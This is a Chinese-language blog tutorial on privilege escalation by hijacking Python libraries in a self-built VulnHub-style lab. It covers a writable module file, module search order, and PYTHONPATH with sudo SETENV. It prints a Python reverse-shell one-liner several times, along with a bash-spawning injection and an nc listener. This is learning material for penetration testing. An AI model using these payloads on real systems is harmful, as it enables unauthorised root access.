Python库劫持

Python库劫持

之前在做VulnHub的时候需要利用Python库劫持具体学习一下

介绍

利用渗透环境中已有的python脚本来提权,该脚本可能引入了其他库,通过对引入文件的错误配置进行利用来提权。能应用到的场景还是有一定局限性

Python脚本编写

我这里直接模仿靶机里的python脚本来写了,该脚本引入webbrowser模块,使用open函数打开baidu

1
2
3
import webbrowser
print("welcome hacker~")
webbrowser.open("https://www.baidu.com")

image-20220113150511113

看一下运行效果

image-20220113150621602

场景一(写权限)

该漏洞基于python脚本引入的模块文件的权限

当正在引入的模块文件的权限为任意用户可编辑时就会成为一个漏洞

漏洞创建

image-20220113154813928

提前准备的hack.py引入了webbrowser模块,为了演示第一种漏洞利用,找到该模块文件并赋予任意用户可编辑权限

1
2
locate webbrowser.py
sudo chmod 777 /usr/lib/python3.8/webbrowser.py

image-20220113154213109

接下来创建一种运行hack.py的方法,通过修改**/etc/sudoers**

image-20220113155600081

攻击者在远程连接后,可以通过如图方式来执行hack.py

利用

假设攻击者已经拿下了rabbit用户

image-20220113160108886

sudo -l查看当前用户可执行的指令发现,可以以root免密执行hack.py

读取hack.py的内容,其中引入了webbrowser库,locate定位webbrowser.py发现有很多

由于使用的是python3.8来执行脚本,查看**/usr/lib/python3.8/webbrowser.py**的权限

image-20220113201726611

为任意用户可写,此时有两种方式来获得root权限

  1. 直接在webbrowser.py中写入命令获取root的shell
  2. webbrowser.py的open函数中写入命令,反弹shell获得root权限

方法一

1
2
nano /usr/lib/python3.8/webbrowser.py
os.system("/bin/bash") //写入的命令

image-20220113202321662

image-20220113202238717

方法二

webbrowser.py定义open函数的地方写入

1
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ip",port));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);

image-20220113204427695

在受害机上执行

1
sudo /usr/bin/python3.8 /home/wi11/hack.py

接下来在Kali另起一个终端监听刚才写进去的端口

1
nc -lvvp 1234

image-20220113204122692

成功反弹shell,权限为root

场景二(优先顺序)

该漏洞基于python脚本在导入模块时,python将按照特定的优先级顺序查找指定的模块文件

当你导入一个模块,Python 解析器对模块位置的搜索顺序是:

  1. 当前目录
  2. 如果不在当前目录,Python 则搜索在 shell 变量 PYTHONPATH 下的每个目录。
  3. 如果都找不到,Python会察看默认路径。UNIX下,默认路径一般为/usr/local/lib/python/。

如果可执行脚本所属者攻击者获得的用户为同一用户,就可以在python脚本文件所属目录下创建一个模块文件,这样就会优先导入”伪造的模块“,最终实现提权

漏洞创建

首先把场景一中修改的**/usr/lib/python3.8/webbrowser.py**权限恢复原样

image-20220114095634860

修改**/etc/sudoers,场景一中我们设置的是rabbit用户,这次我们改为wi11**用户

image-20220114095831722

其他内容不变

利用

假设攻击者已经拿下了wi11用户

image-20220114104814072

sudo -l查看当前用户可执行的指令发现,可以以root免密执行hack.py

image-20220114105236849

读取hack.py的内容,其中引入了webbrowser库,locate定位webbrowser.py发现有很多

由于使用的是python3.8来执行脚本,查看**/usr/lib/python3.8/webbrowser.py**的权限

image-20220114104929691

当前用户不可写,另寻出路

由于hack.py在**/home/wi11目录下,并且攻击者用wi11远程连接,可执行脚本所属者攻击者获得的用户**为同一用户

此时可利用python在导入模块的优先顺序来获得root权限

在**/home/wi11目录下创建webbrowser.py**,内容为

1
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ip",port));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);

image-20220114110116530

接下来在Kali另起一个终端监听刚才写进去的端口,执行hack.py脚本

image-20220114110438495

成功反弹shell,权限为root

场景三(Python PATH环境变量)

此漏洞基于通过PYTHONPATH环境变量搜索Python库,当攻击者可以修改该变量,就会产生漏洞

漏洞创建

先把受害机所有配置还原为初始状态,删除**/home/wi11目录下的webbrowser.py**

修改**/etc/sudoers,这次使用rabbit用户并且添加SETENV**,允许sudo使用当前用户命令行中设置的环境变量

image-20220114140349756

利用

假设攻击者已经拿下了rabbit用户

image-20220114141144288

sudo -l查看当前用户可执行的指令发现可以以root免密执行hack.py并且允许sudo设置环境变量

image-20220114105236849

读取hack.py的内容,其中引入了webbrowser库,locate定位webbrowser.py发现有很多

由于使用的是python3.8来执行脚本,查看**/usr/lib/python3.8/webbrowser.py**的权限

image-20220114141929803

没有写入权限,场景一方法不可用

还记得Python 解析器对模块位置的搜索顺序么?

第一优先级为python脚本当前目录,但是攻击者只获得了rabbit用户,而python脚本在**/home/wi11**目录下

第二优先级为Python搜索在shell变量PYTHONPATH下的每个目录,rabbit用户有权限通过sudo设置环境变量!

image-20220114142141860

在**/tmp目录下新建一个webbrowser.py**内容同场景二

接下来在Kali另起一个终端监听刚才写进去的端口,执行hack.py脚本并且设置PYTHONPATH=/tmp/

image-20220114142447882

成功反弹shell,权限为root

小结

在开发调试时,能快捷方便的执行任务的重要性可能会优先于环境的安全性,但是调试完毕以后要及时恢复系统的各项配置,不然配置错误可能会导致更加严重后果